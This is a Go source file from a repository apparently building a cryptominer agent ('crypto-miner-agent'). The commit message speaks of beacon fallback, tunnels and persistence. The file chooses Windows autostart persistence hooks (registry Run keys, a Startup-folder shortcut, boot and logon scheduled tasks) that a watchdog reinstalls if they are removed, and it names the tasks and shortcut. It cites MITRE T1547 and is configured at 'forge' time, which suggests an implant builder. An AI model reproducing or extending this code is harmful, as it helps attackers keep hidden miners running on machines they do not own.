Files
AetherForge/agent/deploy/autostart_common.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

102 lines
2.7 KiB
Go

// Package deploy autostart hooks (Windows, MITRE T1547-style).
//
// Triggers:
// - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks)
// - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing)
// - Uninstall / removePersistence → removeAutostartExtras
//
// Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user".
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
// Autostart mode values (baked at forge time via AutostartMode).
// Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user".
const (
AutostartNone = "none"
AutostartLogonRun = "logon_run"
AutostartLogonStartupFolder = "logon_startup_folder"
AutostartBootTask = "boot_task"
AutostartLogonTask = "logon_task"
AutostartAll = "all"
)
func runAsHasBuiltInPersistence(runAs string) bool {
switch strings.ToLower(strings.TrimSpace(runAs)) {
case "scheduled", "service", "bits", "host_binary":
return true
default:
return false
}
}
// effectiveAutostartModes returns persistence hooks to install/heal for this forge.
// Install + watchdog self-heal both use this list.
func effectiveAutostartModes(cfg config.RuntimeConfig) []string {
raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode))
var modes []string
if raw == "" || raw == "legacy" {
if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) {
modes = []string{AutostartLogonRun}
}
} else if raw == AutostartNone {
modes = nil
} else if raw == AutostartAll {
modes = []string{
AutostartLogonRun,
AutostartLogonStartupFolder,
AutostartBootTask,
AutostartLogonTask,
}
} else {
for _, part := range strings.Split(raw, ",") {
part = strings.TrimSpace(part)
if part == "" || part == AutostartNone {
continue
}
modes = append(modes, part)
}
}
return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg)))
}
func dedupeRegistryRunOverlap(modes []string) []string {
hasLegacy := false
hasHKCU := false
for _, m := range modes {
if m == AutostartLogonRun {
hasLegacy = true
}
if m == RegistryHKCURun {
hasHKCU = true
}
}
if !hasLegacy || !hasHKCU {
return modes
}
out := make([]string, 0, len(modes))
for _, m := range modes {
if m == RegistryHKCURun {
continue
}
out = append(out, m)
}
return out
}
func autostartBootTaskName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + "-Boot"
}
func autostartLogonTaskName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + "-Logon"
}
func autostartStartupShortcutName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + ".lnk"
}